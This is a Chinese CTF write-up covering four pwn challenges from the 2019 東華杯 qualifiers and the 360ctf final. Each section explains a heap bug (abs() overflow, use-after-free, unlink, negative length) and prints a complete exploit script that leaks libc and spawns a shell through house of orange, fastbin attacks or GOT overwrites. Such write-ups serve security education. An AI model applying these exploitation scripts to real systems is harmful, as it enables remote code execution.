2019-東華杯&2019-360ctf__PWN題解
2019-東華杯&2016-360ctf__PWN題解
上週六有兩場比賽重合了,解出了全部的pwn,趁著還有些印象,分享一下上週六的兩個比賽的pwn題解,東華杯初賽的三個pwn,360複賽的一個pwn,難度不大。
2019-東華杯
Boring_Heap
漏洞點
常見的選單題目,libc 2.23,程式邏輯很好分析,漏洞點在於update過程中的abs()函式。
v3 = __readfsqword(0x28u); puts("Which one do you want to update?"); v2 = abs(get_int()) % 30; ###存在漏洞 if ( global_node[v2] && (global_size[v2] == 32 || global_size[v2] == 48 || global_size[v2] == 64) ) { puts("Where you want to update?"); v0 = abs(get_int()) % global_size[v2]; ##存在漏洞 puts("Input Content:"); read_n(&global_node[v2][v0], global_size[v2] - v0); }
這個漏洞點在2019-強網杯-babycpp也出現過,感興趣的可以看看2019-qwb-babycpp也是考察到了這個漏洞點,記得當初我還沒有審出來,abs()函式的漏洞成因可以看看這個文章記憶體中的資料儲存。
關於本題abs()函式利用的測試程式碼如下:
#include <stdio.h> #include <stdlib.h> int main() { int a = -0x80000000; int b = abs(a); printf("the return value of abs(a) is : %d(10) %d(10) %d(10) .\n",b%0x20,b%0x30,b%0x40); return 0; } output: the return value of abs(a) is : 0(10) -32(10) 0(10) .
漏洞利用
從測試程式碼可以看到,當我們編輯mem_size 0x30大小的chunk的時候,輸入-0x80000000大小的idx會造成整數溢位,導致我們可以向當前chunk_mem的-0x20大小處編輯,由此可以改變chunk size進行構造overlapped chunk。
期初我嘗試用top_chunk_atk來get shell,但是感覺可能要構造一下heap的佈局;於是選了一種簡單的方式,控制unsorted bin的bk,house of orange就可以get shell了。
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn' ctx.remote = ('8sdafgh.gamectf.com', 10001) ctx.symbols = { 'node':0x2020c0, 'size':0x202040, 'limit':0x202020, } ctx.breakpoints = [0x11CB]#menu:0x11CB update_read_n:0x0109B def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def add(choice,content='\n'): sla('5.Exit',1) sla('arge',choice) sa('tent:',content) def delete(idx): sla('5.Exit',3) sla('delete?',idx) def show(idx): sla('5.Exit',4) sla('view?\n',idx) def edit(idx,where,content): sla('5.Exit',2) sla('update',idx) sla('update',where) sa('tent:',content) rs('remote') add(1)#0 add(2)#1 add(2)#2 add(2)#3 add(2)#4 add(2)#5 add(2)#6 add(2)#7 add(1)#8 #leak libc edit(1,-0x80000000,p64(0)*3+p64(0x181)+'\n')#modufy the size delete(1) add(2)#9 overlapped with 2 show(2) libc_base = uu64(r(6)) - 0x3c4b78 lg('libc_base : ',libc_base) #leak heap add(2)#10 voerlapped with 2 delete(4) delete(10) show(2) heap_base = uu64(r(6)) - 0x0f0 lg('heap_base : ',heap_base) #house of orange system = libc_base + 0x045390 _IO_list_all = libc_base + 0x3c5520 edit(0,0,p64(system)*4) fake_file = '/bin/sh\x00'+p64(0x61) # fake_file fake_file += p64(0)+p64(_IO_list_all-0x10) #unsorted bin attack fake_file += p64(0)+p64(1) #bypass check edit(3,-0x80000000,p64(0)*2+fake_file+p64(0)*2) edit(6,0,p64(0)+p64(heap_base+0x10)+'\n') irt()
login
漏洞點
選單型別pwn,chunk在free之後並沒有清空,並且存在edit功能,因此UAF可利用。
if ( v1 < 0 || v1 > 5 ) { puts("Wrong id!"); } else if ( qword_602040[v1] ) { free((void *)*qword_602040[v1]); free(qword_602040[v1]); puts("Delete success!");
漏洞利用
沒有開PIE,並且bss段儲存了node,存在UAF漏洞,可以透過UAF構造任意寫,任意寫要注意一下分配的技巧,如下面這樣,要使得chunk中存在殘留的heap資訊,這樣我們就可以透過partial write來修改heap的資訊:
reg(0,0x90) reg(4,0x68) delete(0) delete(4) reg(5,0x18)
然後bss端的node數量有限制,我們可以透過任意地址寫來不斷清空bss段繞過這個限制。
洩露libc就是透過16位元組的爆破分配到stdout,修改stdout來洩露libc。
最終就是fastbin_atk修改malloc_hook為one_gadget來get shell。
這道題目其他的隊伍都交的比較快,可能有其他更簡單的方式吧。
exp如下
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './login' #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' ctx.remote = ('8sdafgh.gamectf.com', 20000) #ctx.debug_remote_libc = True ctx.symbols = { 'node':0x602040, } ctx.breakpoints = [0x400E15]#menu:0x400E15 strcmp:0x400B94 edit_read:400DAB def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def reg(id,len,passwd='\n'): sla('ice:\n',2) sla('id:\n',id) sla('length:\n',len) sa('password:\n',passwd) def m_reg(id,len,passwd='\n'): sl(2) sla('id:\n',id) sla('length:\n',len) sa('password:\n',passwd) def delete(id): sla('ice:\n',3) sla('id:\n',id) def edit(idx,passwd): sla('ice:\n',4) sla('id:\n',str(idx)) sa('pass:\n',passwd) while True: try: context.log_level = 'info' #rs() rs('remote') #dbg() reg(0,0x90) reg(4,0x68) delete(0) delete(4) reg(5,0x18) #dbg() bss = 0x602040 #dbg() edit(5,'\x68') edit(4,p64(0x21)) edit(5,p64(bss)) edit(4,p64(0)*6) #dbg() reg(0,0x10) reg(4,0x10) delete(0) #dbg() delete(4) #dbg() reg(5,0x18) #fake_chunk reg(1,0x10) edit(5,'\x00') edit(4,p64(0)+p64(0x131)) edit(5,'\x30') edit(4,'\x10') #dbg() delete(0) reg(2,0xb0) edit(5,'\x00') edit(4,p64(0)+p64(0x21)) delete(0) #dbg() edit(5,p64(bss)+p64(0x60)*2) edit(4,p64(0)*6) #dbg() reg(0,0x50) #dbg() reg(4,0x8) reg(1,0x10) delete(1) #dbg() delete(4) #dbg() reg(5,0x18) #fastbin atk edit(5,'\xd0') edit(4,'\xdd\x25') #dbg() ############################3 reg(2,0x60) payload= '\0'*0x33+p64(0xfbad3887)+p64(0)*3+'\0' reg(3,0x68,payload) ru('\xa3') r(7) libc_base = uu64(r(8)) - 0x3c56a3 aim = libc_base + 0x3c4aed #padding = 0x13-8 lg('libc_base',libc_base) #raw_input() #dbg() edit(5,'\x30') edit(4,'\x50') #dbg() delete(1) delete(0) #dbg() edit(5,p64(bss)+p64(0x60)*2) edit(4,p64(0)*6) #edit(4,p64(aim)) #dbg() reg(0,0x20) reg(4,0x20) delete(0) delete(4) #dbg() reg(5,0x18) #dbg() aim = libc_base + 0x3c4aed edit(5,'\xd0') edit(4,p64(aim)) #dbg() reg(1,0x60) payload = '\0'*0x13 + p64(libc_base+0xf1147) reg(2,0x68,payload) irt() except KeyboardInterrupt: break except EOFError: continue
silent_node
漏洞點
同樣是UAF,可編輯,無show函式,got表可改,無PIE,node存在bss段上。
好吧,明顯是unlink控制bss段,然後任意地址寫。甚至和入門的unlink同樣簡單。但是不知道為什麼這麼少的隊伍做出來,我也沒有想出來,是隊友告訴我的。
漏洞利用
unlink應該都懂,這裡強調一下偽造unsorted bin chunk想要free的時候,需要偽造next chunk以及next next chunk。並且unlink能夠成功的條件是,unsorted bin連結串列是正常的。
exp如下
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn' #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' #ctx.remote = ('8sdafgh.gamectf.com', 35555) #ctx.debug_remote_libc = True ctx.symbols = { 'small':0x6020d0, } ctx.breakpoints = [0x400D75]#menu:0x400D75 def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def add(choice,content='\n'): sla('4.Exit',1) sla('add?',choice) sa('tent:',content) def delete(choice): sla('4.Exit',2) sla('arge',choice) def edit(choice,content): sla('4.Exit',3) sla('update',choice) sla('tent:',content) rs() bss = 0x6020d8 add(2) f = { 0x8:0x51, 0x50:0x50, 0x58:0xa0, 0xf8:0x21, 0x118:0x21 } payload = fit(f,filler='\0') edit(2,payload) #prepare for the fake_chunk add(1) delete(2) add(1) add(1) add(1) #unlink f = { 0x8:0x51, 0x10:bss-0x18, 0x18:bss-0x10, 0x50:0x50, 0x58:0xa0 } payload = fit(f,filler='\0') edit(2,payload) delete(1) #leak libc free_got = 0x602018 puts = 0x400740 srand_got = 0x602048 edit(2,'\0'*0x18+p64(0x6020d0)) edit(2,p64(free_got)[:-1]) edit(1,p64(puts)[:-1]) edit(2,p64(srand_got)[:-1]) delete(1) ru('\x0a') libc_base = uu64(ru('\x0a',drop=True))-ctx.libc.sym['srand'] lg('libc_base',libc_base) #get shell system = libc_base + ctx.libc.sym['system'] edit(2,p64(free_got)[:-1]) edit(1,p64(system)[:-1]) edit(2,p64(0x6020d8)+'/bin/sh\0') delete(1) irt()
總結
去年的東華杯我也參加了,相較於今年的pwn題,去年的兩個pwn題目質量更高(去年考察了一個arm_pwn的rop利用,第二題是 透過模擬伺服器行為在其中藏了一個double free,第二題在現在來看平平無奇,當初做起來還是讓人眼前一亮的),總之,東華杯作為一個學校來說,能夠每年承辦這種比賽還是挺不錯的,老師應該很辛苦,希望以後越辦越好。
360ctf 複賽
360複賽只有一個pwn,可能因為線下賽是內網滲透吧,所以pwn的比重不大。
溢位點,負數溢位。
pool[i] = malloc(0x10uLL); if ( !pool[i] ) { puts("Allocate Error"); exit(-1); } puts("Do you want encode(0) or decode(1) your secret ?"); __isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("please input your secret:"); read(0, buffer, (unsigned int)nbytes); # 存在溢位 ,輸入一個負數 b64decode((const char *)buffer, i); memset(buffer, 0, 0x200uLL);
把encode/decode看明白就沒啥東西了,exp利用起來也不長。
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './360' #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' ctx.remote = ('180.153.183.86', 10001) #ctx.debug_remote_libc = True ctx.symbols = { 'node':0x6020e0, } ctx.breakpoints = [0x04015A2 ]#menu def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def add(size,module,content='\n'): sla('ice',1) sla('size',size) if module !=2: sla('secret ?',module)#encode(0) or decode(1) else: sla('secret ?',0) if module == 1: sa('secret:',base64.b64encode(content)) elif module == 0: sa('secret:',base64.b64decode(content)) else: sa('secret:',content) def delete(idx): sla('choice:',4) sla('destroy:',idx) def show(idx): sla('choice:',2) sla('notes:',idx) def edit(idx,content): sla('choice:',3) sla('edit:',idx) sa('secret:',content) rs() add(0x100,1,'a'*0x100) add(0x1,1) delete(0) dbg() add(0x1,1) show(0) lb = uu64(ru('\x7f',drop=False)[-6:])-0x3c4c38 success('libc_base = {}'.format(hex(lb))) sys = ctx.libc.sym['system']+lb sl(6) ru('Wrong') delete(7) delete(8) delete(9) add(-1,2,'b'*0x200+p64(0)+p64(0x71)+'/bin/sh\x00'+p64(0x602018)) edit(0,p64(sys)) delete(0) irt()
360初賽兩個pwn的exp需要自取
相關文章
- 2019-強網杯pwn復現--兩題2019-09-22
- 2019-強網杯pwn復現--多數題目2019-10-09
- 2024強網杯web題解2024-11-05Web
- "華為杯"華南理工大學程式設計競賽(同步賽) H題解 還沒寫2024-04-15程式設計
- 藍橋杯省賽真題2013題解2020-10-07
- 2019東信杯區塊鏈2020-11-30區塊鏈
- [2024領航杯] Pwn方向題解 babyheap2024-10-14
- 【題解】爬山 藍橋杯2024省B2024-05-07
- 2013藍橋杯題解c++A組2020-11-05C++
- 2013藍橋杯題解c組C++2020-11-06C++
- 藍橋杯第五屆省賽題目及題解2020-10-02
- 華中杯 數學建模 A題簡單覆盤(附Python原始碼)2022-08-09Python原始碼
- 2019山東ACM省賽補題題解2020-10-04ACM
- 第十屆藍橋杯C++國賽B組部分題解(假題解)2020-11-11C++
- 藍橋杯競賽題目:”機器人繁殖“解析及題解2019-05-02機器人
- 高校俱樂部第二屆戰神杯題解2020-04-05
- 藍橋杯練習試題程式碼及講解2019-05-14
- 藍橋杯真題2024-05-31
- 東方華爾街2018-06-17
- 藍橋杯歷年(省賽)試題彙總及試題詳解2020-10-19
- 藍橋杯-座次問題2024-04-09
- 藍橋杯-日期問題2024-05-13
- [CISCN 2022 華東北] duck2024-05-02
- 對決“新華三杯”賽出新IT人才2018-05-21
- 題解:P10906 [藍橋杯 2024 國 B] 合法密碼2024-08-23密碼
- 埃森哲:2019-實現平等報告2019-03-10
- 碼蹄杯國賽補題2024-07-17
- 藍橋杯全排列專題2020-10-12
- 2013年藍橋杯真題2019-03-28
- [CISCN 2022 東北]hana 題解(易語言逆向)2024-04-28
- P8844 [傳智杯 #4 初賽] 小卡與落葉 題解2024-03-05
- 藍橋杯模擬題——長草問題2020-10-04
- 華東醫藥近期經營情況交流紀要及解讀2022-07-13
- 藍橋杯例題-快速分揀2024-04-09
- 藍橋杯題目編號12652024-03-21
- [極棒雲鼎杯2020] Web題2020-07-15Web
- 藍橋杯真題:純質數2022-03-12
- 藍橋杯第 3 場 演算法季度賽第八題 升級電纜題解2024-06-30演算法